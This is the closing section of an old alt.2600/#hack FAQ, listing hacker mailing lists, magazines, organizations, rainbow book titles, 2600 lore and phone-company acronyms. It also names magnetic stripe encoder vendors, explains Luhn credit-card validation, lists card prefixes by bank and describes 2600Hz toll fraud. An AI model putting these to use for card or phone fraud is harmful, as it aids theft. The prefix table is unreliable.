  Reflector Address:    [e-mail]
  Registration Address: [e-mail]

  NeXT Managers
  Reflector Address:
  Registration Address: [e-mail]

  Phiber-Scream
  Reflector Address:
  Registration Address: Send a message to [e-mail]
                        containing the line "subscribe phiber-scream user@host"

N phruwt-l (Macintosh H/P)
  Reflector Address:
  Registration Address: Send a message to [e-mail]
                        with the subject "phruwt-l"

  rfc931-users
  Reflector Address:    [e-mail]
  Registration Address: [e-mail]

  RSA Users
  Reflector Address:    [e-mail]
  Registration Address: [e-mail]


12. What are some print magazines of interest to hackers?

2600 - The Hacker Quarterly
~~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail address: [e-mail]

Subscription Address: 2600 Subscription Dept
                      PO Box 752
                      Middle Island, NY  11953-0752

Letters and article submission address: 2600 Editorial Dept
                                        PO Box 99
                                        Middle Island, NY  11953-0099

Subscriptions: United States: $21/yr individual, $50 corporate.
               Overseas: $30/yr individual, $65 corporate.


Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/oe controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.

E-Mail Address: [e-mail]
E-Mail Address: [e-mail]

U.S. Mail Address: Gray Areas
                   PO Box 808
                   Broomall, PA 19008

Subscriptions: $26.00 4 issues first class
               $34.00 4 issues foreign (shipped air mail)


Privacy Newsletter
~~~~~~~~~~~~~~~~~~
Privacy Newsletter is a monthly newsletter devoted to showing
consumers how to get privacy and keep it.

E-Mail Address: [e-mail]

Subscription Address: Privacy Newsletter
                      P.O. Box 8206
                      Philadelphia, PA 19101-8206


Subscriptions: $99/yr (US)  $149/yr (Overseas)


Wired
~~~~~
Subscription Address: [e-mail]
                  or: Wired
                      PO Box 191826
                      San Francisco, CA 94119-9866

Letters and article submission address: [e-mail]
                                    or: Wired
                                        544 Second Street
                                        San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)


Nuts & Volts
~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
[phone] (Voice) (Subscription Only Order Line)
[phone] (Voice)
[phone] (Fax)
CIS: 74262,3664


13. What are some e-zines of interest to hackers?

CoTNo: Communications of The New Order    ftp.etext.org  /pub/Zines/CoTNo
Empire Times                              ftp.etext.org  /pub/Zines/Emptimes
Phrack                                    freeside.com


14. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSR empowers computer professionals and computer users to advocate
for the responsible use of information technology and empowers all who
use computer technology to participate in the public debate.   As
technical experts, CPSR members provide the public and policymakers
with realistic assessments of the power, promise, and limitations of
computer technology.  As an organization of concerned citizens, CPSR
directs public attention to critical choices concerning the
applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy
development savvy, CPSR uses minimum dollars to have maximum impact
and encourages broad public participation in the shaping of technology
policy.

Every project we undertake is based on five principles:

*  We foster and support public discussion of and public
   responsibility for decisions involving the use of computers in
   systems critical to society.

*  We work to dispel popular myths about the infallibility of
   technological systems.

*  We challenge the assumption that technology alone can solve
   political and social problems.

*  We critically examine social and technical issues within the
   computer profession, nationally and internationally.

*  We encourage the use of computer technology to improve the quality
   of life.

CPSR Membership Categories
  75  REGULAR MEMBER
  50  Basic member
 200  Supporting member
 500  Sponsoring member
1000  Lifetime member
  20  Student/low income member
  50  Foreign subscriber
  50  Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA  94301
415-322-3778
415-322-3798 (FAX)
E-mail: [e-mail]


Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.
666 Pennsylvania Avenue S.E., Suite 303
Washington, D.C.  20003
[phone]
[phone] FAX
Internet: [e-mail]


Free Software Foundation (FSF) and GNU
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Free Software Foundation is dedicated to eliminating restrictions
on people's right to use, copy, modify, and redistribute computer
programs. We promote the development and use of free software in all
areas using computers.  Specifically, we are putting together a
complete, integrated software system named "GNU" ("GNU's Not Unix",
pronounced "guh-new") that will be upwardly compatible with Unix.
Most parts of this system are already being used and distributed.

The word "free" in our name refers to freedom, not price.  You may or
may not pay money to get GNU software, but regardless you have two
specific freedoms once you get it: first, the freedom to copy a
program and give it away to your friends and co-workers; and second,
the freedom to chnage a program as you wish, by having full access to
source code. You can study the source and learn how such programs are
written.  You may then be able to port it, improve it, and share your
changes with others.  If you redistribute GNU software you may charge
a distribution fee or give it away, so long as you include the source
code and the GPL (GNU General Public License).

Free Software Foundation, Inc.        Telephone: [phone]
673 Massachusetts Avenue              Fax: [phone]
Cambridge, MA 02139-3309 USA          Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: [e-mail]                  0066-3382-0158 (IDC)

GNU is to be a complete integrated computational environment:
everything you need to work with a computer, either as a programmer or
as a person in an office or home.  The core is an operating system,
which consists of a central program called a kernel that runs the
other programs on the computer, and a large number of ancillary
programs for handling files, etc.  The Free Software Foundation is
developing an advanced kernel called the Hurd.

A complete system has tools for programmers, such as compilers and
debuggers.  It also has editors, sketchpads, calendars, calculators,
spreadsheets, databases, electronic mail readers, and Internet
navigators.  The FSF already distributes most of the programs used in
an operating system, all the tools regularly used by programmers, and
much more.


The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits.  Some of us are programmers, who worry
that such monopolies will obstruct our work.  Some of us are users,
who want new computer systems to be compatible with the interfaces we
know.  Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-
enforced monopolies broader in scope than ever before.  Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing
user-interface copyright.  The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.

Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others.  We appreciate activists, but
members who cannot contribute their time are also welcome.

To contact the League, phone [phone], send Internet mail to the
address [e-mail], or write to:

League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA


SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society.  By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc
Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but
mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC
P.O. Box 573
Long Beach, MS  39560


Computer Emergency Response Team (CERT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CERT is the Computer Emergency Response Team that was formed by the
Defense Advanced Research Projects Agency (DARPA) in November 1988 in
response to the needs exhibited during the Internet worm incident.
The CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts, to
take proactive steps to raise the community's awareness of computer
security issues, and to conduct research targeted at improving the
security of existing systems.

CERT products and services include 24-hour technical assistance for
responding to computer security incidents, product vulnerability
assistance, technical documents, and seminars.  In addition, the team
maintains a number of mailing lists (including one for CERT
advisories) and provides an anonymous FTP server:  cert.org
(192.88.209.5), where security-related documents, past CERT
advisories, and tools are archived.

CERT contact information:

U.S. mail address
  CERT Coordination Center
  Software Engineering Institute
  Carnegie Mellon University
  Pittsburgh, PA 15213-3890
  U.S.A.

Internet E-mail address
  [e-mail]

Telephone number
  [phone] (24-hour hotline)
  CERT Coordination Center personnel answer
  7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
  emergencies during other hours.

FAX number
  [phone]


15. Where can I purchase a magnetic stripe encoder/decoder?

CPU Advance
PO Box 2434
Harwood Station
Littleton, MA  01460
[phone] (Fax)

Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL  60173
[phone] (Voice)
[phone] (Fax)

Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
[phone] (Voice)
[phone] (Voice)
[phone] (Voice)

Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
[phone] (Voice)
[phone] (Voice)

Alltronics
2300 Zanker Road
San Jose CA 95131
[phone] Voice
[phone] Fax
[phone] BBS
Part Number: 92U067

Atalla Corp
San Jose, CA
[phone]


16. What are the rainbow books and how can I get them?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria

Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline

Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific
Environments

Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements.  Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.

Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems

Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted
Systems

Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms

Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria

Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book
NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria

Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation

Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document

Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems

Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management

Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals

Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted
Systems

Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems

Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire

Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System

Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria

Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems

Purple Book
NCSC-TG-024  (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements

Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement
Initiators

Purple Book
NCSC-TG-024  (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial

+Purple Book
+NCSC-TG-024  (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information
Systems

Hot Peach Book
NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems

Violet Book
NCSC-TG-028
Assessing Controlled Access Protection

Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation

Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91
*Integrity in Automated Information Systems

*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion

NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline

--

You can get your own free copy of any or all of the books by writing
or calling:

       INFOSEC Awareness Division
       ATTN: X711/IAOC
       Fort George G. Meade, MD  20755-6000

       Barbara Keller
       [phone]

If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).

[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[     be available]




Section D: 2600
~~~~~~~~~~~~~~~

01. What is alt.2600?

Alt.2600 is a Usenet newsgroup for discussion of material relating to
2600 Magazine, the hacker quarterly.   It is NOT for the Atari 2600
game machine.  [e-mail] created the group on Emmanuel
Goldstein's recommendation.  Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to
alt.2600, an alt.atari.2600 was created to divert all of the atari
traffic from alt.2600.  Atari 2600 people are advised to hie over to
rec.games.video.classic.


02. What does "2600" mean?

        2600Hz was a tone that was used by early phone phreaks (or
phreakers) in the 80's, and some currently.  If the tone was sent down the
line at the proper time, one could get away with all sorts of fun stuff.

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone.  The 2600 hertz tone was simply the first
step towards exploring the network.  If you were successful at
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure.  800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers.  This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute.  Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."


03. Are there on-line versions of 2600 available?

        No.


04. I can't find 2600 at any bookstores.  What can I do?

Subscribe.  Or, let 2600 know via the subscription address that you
think 2600 should be in the bookstore.  Be sure to include the
bookstores name and address.


05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

  We've been selling 2600 at the same newsstand price ($4) since 1988
  and we hope to keep it at that price for as long as we can get away
  with it. At the same time, $21 is about the right price to cover
  subscriber costs, including postage and record keeping, etc. People
  who subscribe don't have to worry about finding an issue someplace,
  they tend to get issues several weeks before the newsstands get
  them, and they can take out free ads in the 2600 Marketplace.

  This is not uncommon in the publishing industry.  The NY Times, for
  example, costs $156.50 at the newsstands, and $234.75 delivered to your
  door.




Section E: Miscellaneous
~~~~~~~~~~~~~~~~~~~~~~~~

01. What does XXX stand for?

TLA     Three Letter Acronym

ACL     Access Control List
PIN     Personal Identification Number
TCB     Trusted Computing Base

ALRU    Automatic Line Record Update
AN      Associated Number
ARSB    Automated Repair Service Bureau
ATH     Abbreviated Trouble History
BOC     Bell Operating Company
BOR     Basic Output Report
BOSS    Business Office Servicing System
CA      Cable
COE     Central Office Equipment
COSMOS  Computer System for Main Frame Operations
CMC     Construction Maintenance Center
CNID    Calling Number IDentification
CO      Central Office
COCOT   Customer Owned Coin Operated Telephone
CRSAB   Centralized Repair Service Answering Bureau
DDD     Direct Distance Dialing
ECC     Enter Cable Change
LD      Long Distance
LMOS    Loop Maintenance Operations System
MLT     Mechanized Loop Testing
NPA     Numbering Plan Area
POTS    Plain Old Telephone Service
RBOC    Regional Bell Operating Company
RSB     Repair Service Bureau
SS      Special Service
TAS     Telephone Answering Service
TH      Trouble History
TREAT   Trouble Report Evaluation and Analysis Tool

LOD     Legion of Doom
HFC     Hell Fire Club
TNO     The New Order

ACiD    Ansi Creators in Demand
CCi     Cybercrime International
FLT     Fairlight
iCE     Insane Creators Enterprise
iNC     International Network of Crackers
NTA     The Nocturnal Trading Alliance
PDX     Paradox
PE      Public Enemy
PSY     Psychose
QTX     Quartex
RZR     Razor (1911)
S!P     Supr!se Productions
TDT     The Dream Team
THG     The Humble Guys
THP     The Hill People
TRSI    Tristar Red Sector Inc.
UUDW    Union of United Death Workers


02. How do I determine if I have a valid credit card number?

Credit cards use the Luhn Check Digit Algorithm.  The main purpose of
this algorithm is to catch data entry errors, but it does double duty
here as a weak security tool.

For a card with an even number of digits, double every odd numbered
digit and subtract 9 if the product is greater than 9.  Add up all the
even digits as well as the doubled-odd digits, and the result must be
a multiple of 10 or it's not a valid card.  If the card has an odd
number of digits, perform the same addition doubling the even numbered
digits instead.


03. What bank issued this credit card?

1033    Manufacturers Hanover Trust
1035    Citibank
1263    Chemical Bank
1665    Chase Manhattan
4024    Bank of America
4128    Citicorp
4209    New Era Bank
4302    HHBC
4310    Imperial Savings
4313    MBNA
4317    California Federal
5282    Wells Fargo
5424    Citibank
5410    Wells Fargo
5432    Bank of New York
6017    MBNA


04. What are the ethics of hacking?

An excerpt from: Hackers: Heroes of the Computer Revolution
                          by Steven Levy

        Access to computers -- and anything which might teach you
        something about the way the world works -- should be unlimited
        and total. Always yield to the Hands-On imperative.

        All information should be free.

        Mistrust Authority.  Promote Decentralization.

        Hackers should be judged by their hacking, not bogus criteria
        such as degrees, age, race, or position.

        You can create art and beauty on a computer.

        Computers can change your life for the better.


04. Where can I get a copy of the alt.2600/#hack FAQ?

Get it on FTP at:
rahul.net      /pub/lps
rtfm.mit.edu   /pub/usenet-by-group/alt.2600
ftp.clark.net  /pub/jcase

Get it on the World Wide Web at:
http://dfw.net/~aleph1
http://www.engin.umich.edu/~jgotts/underground/hack-faq.html
http://www.phantom.com/~king

Get it on my BBS:
Hacker's Haven [phone]





EOT

--
\* Will Spencer        : The advancement and diffusion of knowledge *\
\* Unix geek           : is the only guardian of true liberty.      *\
\* PC guru             :               --  James Madison            *\
\* Revolutionary       :               4th U.S. President           *\
Enter Command: